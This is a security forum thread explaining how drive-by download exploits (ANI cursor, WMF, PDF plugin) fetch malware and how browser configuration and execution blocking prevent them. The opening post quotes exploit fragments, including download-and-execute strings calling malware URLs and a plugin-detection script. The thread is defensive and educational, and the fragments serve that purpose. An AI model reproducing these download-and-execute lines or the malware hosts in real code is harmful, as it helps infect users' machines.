Drive-by Downloads: How much of a Threat Are They?

If you connect to a web site in order to download a program, your browser will automatically prompt, since it is an executable file:

​

However, a web page can have code (instructions) to trick the browser and bypass a prompt to download:

​

This type of exploit is referred to as a "Drive-by Download" or "Remote Code Execution" since it executes remotely (automatically) without any user action.

By many accounts, this is regarded as the most feared of the malware attacks, because the user is made to feel helpless. A common description is, You only have to connect to the site, and BOOM! You are infected automatically.

Well, maybe not, depending on a number of factors.

I began to wonder about this mysterious type of attack about 4 1/2 years ago, early 2005. The famous Animated Cursor (ANI) exploit hit town, and became widespread rather quickly. I decided to search for information. First was the Microsoft Bulletin, MS05-02 (05 is the year, 02 is the second bulletin for that year). Here is a description of the vulnerability:

I searched for a translation but was not successful, nor did I find any explanation as to how an animated cursor could be malware. What if I don't use animated cursors?

This was an important lesson: you need to do some digging if you want to find out how exploits work. I thought if I knew this, I could zero in on the specifics of what it is I am protecting against.

It's been suggested in some threads that you need technical expertise to understand how exploits work. This is not true. All you need to do is read and you soon learn what to look for.

(I'm addressing those who frequent security forums to stay informed, and not "Mr. and Mrs. Smith next door," who find it an accomplishment just to understand email, and to wonder about the logic of why, when wanting to shut down the computer, it's necessary to click "Start." But I'll return to "Mr. and Mrs. Smith next door" later.)

All you need are healthy doses of curiosity and skepticism. Skepticism is important, for it causes you to question what the "experts" write. Not to question their expertise, rather, questioning that that they don't always provide all of the necessary information which would suggest efficient remedies. My own theory about this is that a consumer who remains partially ignorant will come to depend on the expert, and, of course, the expert's product (in the case of vendors).

AV companies often have analyses of exploits, but normally, they describe what the virus or trojan does after executing on the victim's system. Prevention suggestions usually consist of:

1) Keep patched. Yeah, Right. What if there is no patch immediately?

2) Keep AV up-to-date. Right again. What if there is no detection at first in a new exploit. Often they offer a removal tool. That's very considerate, but not much help for those looking for effective prevention.

Finally, I found an article describing how web page authors can do different things with cursors, and it turns out that you can specify in the page code to download a cursor file (.cur) or animated cursor file (.ani).

The drive-by exploit had code in the page to downloaded an .ani file:

Code:

style

* {CURSOR: url("./exp_2/1.ani");}
 
/style

Code in the .ani file caused the browser to connect out to a web site to download malware. The article listed this command, or instruction from the code:

Code:

urlmon.dll_URLDownloadToFileA_WinExec_http://kunsthandel-scheider.de/daten/dlle.exe

It continued by explaining that the urlmon.dll in Windows initiates the action to download, and the hackers just insert the URL to their site. Because the exploit uses a Windows command, the normal prompt-to-download in the browser is bypassed. Hence, remote code execution - no user action needed once connected to the website.

So, the secret was revealed. A file is downloaded. The file itself is not the malware executable, rather, it is a "trigger" to connect out to another site. Very clever. This code to download the .ani file can be injected into a legitimate web page. The malware doesn't have to be stored there.

Now, I had to learn some terminology so that I could understand what was being described. I liken this to learning network terms, such as port, TCP, UDP, to understand about firewall rules. There is nothing complicated about this. I cannot describe how a network stack works, but I've learned how to configure rules in my firewall. You learn what you need to know.

Next came the WMF (WIndows Media File) exploit in late 2005 - do you remember that? Everyone was in a panic because Microsoft wasn't to release a patch immediately. This was a Buffer Overflow exploit. I learned that just to utter that phrase invoked fear and trembling amongst the masses. Soon at least one 3rd party patch was released. No one explained how the exploit worked: was the WMF file itself disguised malware? Soon I found an analysis:

Hmm... look familiar? There is urlmon.dll again.

As with ANI, the WMF file was not the malware executable. Just a trigger to start the ball rolling.

It seemed that all of these exploits targeted IE, or needed IE to work. People love to advise others to change to a different browser. A friend likes to tell this story of a woman who bought a house and soon discovered evidence of rats in her basement. She set traps and was successful in catching them, but new ones appeared. In desperation, she told a neighbor she was thinking of moving. She probably wouldn't have, but she was really perplexed. The neighbor asked if she had tried to find how they were getting in. Upon inspecting, he found several air vents around the base of the house that had small opening above the vent. Putting in some wire mesh closed them and no more rats appeared.

When you find good analyses of exploits, more often then not you see this:

Code:

script

or

Code:

javascript

or

Code:

VBScript

This last one happens to be the script for the first exploit I described above. By controlling Scripts in the browser, you take away the entrance point for the exploit, and it fails on the spot.

No circulating exploits targeted Opera or Firefox, and it was during these years that Firefox users were claiming invincibility.

Earlier this year, a Google Redirect exploit surfaced, where connecting to a link in a Google search page took the user to a site with exploit code. It was very mysterious because no specifics about the attack were known. I saw this in another forum:

Finally, a few days later, the mystery was solved: he and others noticed a PDF file opened and then closed. Yet the user definitely did not download a PDF file.

Early analyses didn't provide much information, with statements such as,

Not much help. I searched around and finally found an description of the page code that started the exploit rolling. A script calls for the Acrobat Reader Plugin to open a PDF file:

Code:

<[COLOR="DarkRed"][B]script[/B][/COLOR]
name = navigator.[B][COLOR="DarkRed"]plugins[/COLOR][/B][i].name;

(name.indexOf("[COLOR="DarkRed"][B]Adobe PDF[/B][/COLOR]") != -1))
		
document.write ("[COLOR="DarkRed"][B]pdf.pdf[/B][/COLOR]">
</script

And the code inside the PDF file:

Code:

URLMON.DLL. URL DownloadToFileA.http://bestif.cn/load.php?id=4..

urlmon.dll again... same exploit, different means of carrying out the instructions.

It turns out that the plugin lets the Reader load the PDF file in the browser:

​

I guess people love this feature: it saves a few seconds, so you don't have to download the file and then click it to open in the Reader. This is fine when you decide to read a file, but terrible danger when encountering an exploit as this one.

With this knowledge, prevention is obvious:

1) Control scripting in the browser. This blocks the exploit from even starting.

2) Configure the Reader not to open files in the browser

3) Disable the plugin in the Browser.

4) Configure PDF to prompt for a download:
​

​

I notice that the latest Adobe Advisory suggests disabling Javascript in the Reader Preferences. But remember, at least one earlier exploit did not use Javascript, and there might be some of those PDF files floating around out there:

Adobe Acrobat pdf 0-day exploit, No JavaScript needed!
http://isc.sans.org/diary.html?storyid=5926

It turns out, then, that this is not an exploit against the browser (Firefox in this case). Rather, any browser just provides the mechanism to get the PDF file downloaded and opened. Acrobat Reader, not the browser, is the trigger mechanism to connect out for the malware.

​

Further investigation revealed this to be true of many other applications/plugins that are similarly targeted. Here are a few:

Of course, if you don't have those applications installed, then you aren't vulnerable.

A common technique in drive-by attacks is to have a package of exploits looking for both unpatched browser and application vulnerabilities:

The State of Malware - August 2008 Edition
http://www.fortiguardcenter.com/report/roundup_aug_2008.html

Something new tonight
http://thompson.blog.avg.com/from_my_old_blog/

Some of the old exploits that target IE go back to 2004. That they are still effective says something...

The following chart shows a typical drive-by download attack, often beginning on a legitimate web site that has been hacked with malicious code, sending the user to a different site where the remote code execution to download the file takes place. You can see both IE browser and application exploits.

Dissecting Web Attacks
http://www.blackhat.com/presentatio...-09-valsmith-colin-Dissecting-Web-Attacks.pdf

​

By understanding how a particular exploit works, you can apply specific preventative measures against it. Controlling scripting and plugins in the browser is the first step.

Yet, I am hesitant to rely just on configurations. Since all of these exploits connect out to download malware, an obvious preventative measure is something to block unauthorized executables from running. Last year I enlisted the help of several Wilders Members to test different solutions against a remote code execution attack. I was impressed at the variety of effective solutions. I asked each to send me a screen shot showing the alert and I posted these at that time, and here they are again for those who didn't see them earlier:

http://www.urs2.net/rsj/computing/tests/remote

You will notice that the file does not execute and then become contained, like in a sandbox or a rat trap. The executable file is prevented from running in the first place.

So, what about "Mr. and Mrs. Smith next door?" They certainly aren't interested in all of this. They just want a safe computing experience.

I find it takes about 15 minutes to show someone how to configure the browser for cookies, scripting, and plugins. Combine that with some execution prevention solution and you have effectively eliminated the threat of the drive-by download that attempts to install malware. From my point of view, these are the easiest exploits to prevent.

If those who keep up with security and drive-by exploits shared their knowledge with even one person, that would be one less person to become an unwitting member of a botnet.

----
rich

 

A very informative article as always!

In your first example is the .ani file a legitimate file and the website's code manipulated or is the .ani file malicious? Thanks

 

The .ani file is malicious. The web page code just downloads the file and upon execution, the file connects out to download the malware. Here is one such exploit from 2005:

http://www.urs2.net/rsj/computing/tests/ani/

In 2007 a variant of this exploit emerged and targeted email as well as web:

FAQ: Here's the scoop on the Windows animated cursor bug
http://www.computerworld.com/action...&articleId=9015343&taxonomyId=17&pageNumber=2

New worm use the .ani zero day vulnerability
http://www.cisrt.org/enblog/read.php?68

You noticed, I'm sure, that the computerworld.com article did not mention protection against the executable payload as part of the "usual drill for avoiding an infection."

This is pretty much standard procedure with most articles on these types of exploits, as I've noticed in the current PDF exploits.

----
rich

 

Great article, thank you for sharing!

 

Thanks for taking the time to put together such a great article. The diagram was especially helpful.

 

So malicious code on the website automatically downloaded an .ani file which automatically opens and downloads the malware file?

 

Was it, really?

I had to wade through a wall of text and redundant screenshots (yes, we all really needed to see what an IE download prompt looks like) to find out what could've effectively been described within a single paragraph.

 

Were we stung by a bee in the hind quarters? I think it was a good post myself, though, I do have to say (and I've always felt this way), that if you go back to the link that shows the different programs that stopped the exploits and their pop up messages, "Mr. and Mrs. Smith next door" may still have a problem figuring out what's going on. In my opinion, firewalls, HIPs and the like, still use too much technical jargon to explain what's going on. I see in some cases it is getting better, but we're not quite there yet, again, imho.

This is why I like apps like Sandboxie, that can be set up to not allow anything but the browser to run inside it (at least I'm pretty sure no driveby downlaod would work properly with such a setting). No pop ups, no prompts for allow/deny, just a silent door slamming shut on the malware. Sorry, didn't mean to make an ad for virtual apps, it just came to mind when I thought about all the prompts I used to deal with and the utter annoyances of a "default deny" system.

 

Well, I don't know if you're feeling a sting anywhere on the rear end, but as for me everything seems fine.

Just pointing out that there might be some virtue to be found in brevity. While I understand the enthusiast might have enjoyed himself compiling page after page of text and screenshots, there may be easier and quicker ways to get the same point across.

 

Well, you could have done it without this nasty feeling that you let behind your words. Are you this kind of person giving lessons, without bringing anything to the discussion?

I am sure that some less knowledgeable people than you obviously are will find a great interest in these pictures and the explanations going with...

 

What a coincidence; the very same could be asked about you.

I'm sure they will. But I'm also sure there are people who think that it's not exactly necessary to post walls of text and images over and over talking about the same things on the same subject. From his past (and equally lengthy) posts it's quite clear Rmus is an enthusiast about this particular area of malware, I'm just not sure if these repeated, long-winded bombardments is really the best way to get the point across.

 

You know what? If you don't like, nobody forces you to come into the discussion. And may I remind you the only people who have the right to judge the quality and the relevance of post are the moderators. Next time please, complain to the moderators, send a private message to the Op if you wish to give your feeling, but please, don't pollute the posts.

Have a good day.

 

Again, I'd say it's a wise idea for you to start by taking your own advice. No need for you to play moderator-wannabe here either, nor to be so hypocritical and accuse me of "polluting" (which was never my intention at all) immediately after you claimed that only the mods have the right to judge as such.

Likewise.

 

Eice - I don't agree with any of the specific's points of your criticisms

The subject matter of the post :
Almost every other thread in wilders ends up discussing AV's or specific Tools as the solution to computer security. I don't see the point in criticizing one of the few posts that takes a different approach.

The way its written :
1. Personally I would rather quote / save / refer back to a post with a good depth and links, rather than one with a paragraph of information, however well written.
2. If a new user was browsing the forum , how would they know that Rmus has posted similar things in the past?
A member may know but still how is posting on a topic which someone is familiar with with a bad thing ?
Surely that's the benefit of an internet forum in the first place !
3. I think there is some repetition ,and its to emphasis that security is not all about tools and AV's as most people think.
I think the repetition is useful and necessary for the post in this case.

 

Criticizing the post for not advocating specific tools wasn't what I was doing at all. Either I'm terrible at expressing myself, or you didn't bother to read what I wrote.

I'm glad that people are finding Rmus' posts beneficial, though his style isn't what I'd advocate myself.

 

I must admit I found it very interesting..

Quick question: Would UAC (standard user) / SRP, in Vista Business, prevent the .ani file from executing? Let's assume for a second that we are in IE and scripts are enabled..

Peter

 

Yes.

Though in this case, DEP would be the first line of defense and prevent the exploit from triggering in the first place.

 

This was the quote I had I in mind.

 

OK, that's interesting...

If I also look at post 3 above, there is a reference to ..computing\tests\ani.. which refers to a web site 195.225.. etc.. Apols if being naive, but what does that web site actually do.. is it simply (still) demonstrating the vulnerability described..??

 

Rmus, job well done! Written in simple down-to-earth English, well explained! kudos.
I especially loved the "click start to shut down computer"

Anyhow, I also see a trend where "experts" lament how bad things are, when they have in in their power to make a change if they want, but it seems the money trains to sweet to get off ... of.

Execution prevention - whichever recipe you take.

Great job!

Mrk

 

Excellent write-up. I feel that security companies are just beginning to realize the importance of implementing some sort of "web shield" in their products. NOD32 was one of the first (I believe) to have an HTTP scanner, followed closely by Avast.

There's much potential for companies/individuals to take advantage of this major attack vector and capitalize upon it. Take NoScript for example.

The screenshots and code snippets were especially complementary to the content.

 

No - the code in the .ani file executes as soon as it is cached, to connect out to download the malware. Once downloaded, SRP (I'm not sure how UAC works) would intervene at the point that the malware executable attempts to run, thus causing the exploit to fail.

This is the same with exploit code embedded in a web page. In the test where I showed different products, the code in the web page executes to download a spoofed executable, renames it to svchost.exe which then executes. You'll notice in the screenshots that it's at this point that SRP intervenes: to stop svchost.exe from executing. The only product that acts differently is Anti-Executable v.2, where, with it's Copy Prevention, blocks the spoofed executable from downloading (copying to disk). Therefore, the error message: "can't find svchost.exe."

Most Anti-virus products blocked the .ani file itself once a signature was obtained, as it did in other exploits. Here are some files I uploaded for scanning:

.ani file
AhnLab-V3 - Win-Trojan/Exploit-ANI.B

.wmf file
AhnLab-V3 - Win-Trojan/Exploit-WMF.Gen

.pdf file
AhnLab-V3 - Win-Trojan/Exploit-PDF​

Note that these files are not the trojan executables, rather, they contain the exploit code which downloads the executables, as I noted in the code examples in the first post.

That web site is no longer active. The site itself contains the code which downloads the .ani file. When active, if using IE unpatched, the .ani code executed to download the malware.

Screenshots are useful in that they capture a point in time as an illustration. This is certainly true in the on-going PDF exploits, where you can show that it is the Acrobat Reader and not the browser that connects out to download the malware, proving that it is not a browser exploit -- it works in all browsers. In another thread, I stepped through one of these exploits, showing that there are at least four hurdles for the PDF exploit to jump before the malware can be installed.

Poor Adobe - its developers working night and day to keep up with the latest vulnerabilities. I notice that a patch for the current one won't be issued until early in the coming week. 18 months now, this has been going on. Finally, one security vendor threw in the towel:

F-Secure Says Stop Using Acrobat Reader
http://www.tomsguide.com/us/Adobe-Acrobat-Reader-Malware,news-3828.html

More than 100 other on-line media picked up that story. Those who took the time to figure out how the exploit works ignored that advice, of course.

Now, you can't tell people to ignore that advice without showing them that this is just a remote code execution (drive-by download) exploit that is easily prevented by a number of solutions.

I find that showing people screenshots is more effective than just giving a list of "thou shalt nots." This was also helpful in explaining the WinAntiVirus exploits, for example. An acquaintance told me that a friend had succumbed to this exploit. Demonstrating what the fake scan looks like and the accompanying nags to download the bogus software relieved him of the fear of this exploit. In another thread I analyzed one of these.

While not strictly a drive-by download, since the user has to click to download the bogus product, nonetheless it is also prevented at the browser level by proper configuration.

Of course, Mrkvonic has been arguing this for years!

While Firefox was the leader in giving the user more control over web content, the other browsers have followed suit.

And Kye-U notes that other security companies are beginning to realize the importance of this.

Now, all we need is more knowledgeable people getting the word out to "Mr. and Mrs. Smith next door!"

regards,

rich

 

I love Rmus' posts plus the screenshots he includes. As the saying goes "A picture is worth a thousand words."

Always a good read and good learn.

 

Another great and informative post Rmus! I can't speak for others but they help eliminate the FUD when it comes to "drive-by downloads". I would rather learn about how and why these things work rather than hunkering down behind a ton of security apps. hoping that they'll protect me.

It's also interesting if you think about all the possible layers of protection you can use when you look at the flow chart.

 

Great post Rmus. If we look at this we can see the starting-point of a "Remote Code Execution" is Javascript and/or Iframe. So I think you have to deny Active-Script/ActixeX and the possibly to use Iframe in the InternetOptions of the browser and you will be safe. Isn`t it? In my eyes is it a lession for all the browser-vendors to configure the browsers by default in this manner and only trustfully sites can be added to trusted sites without this restrictions if the user do decide so.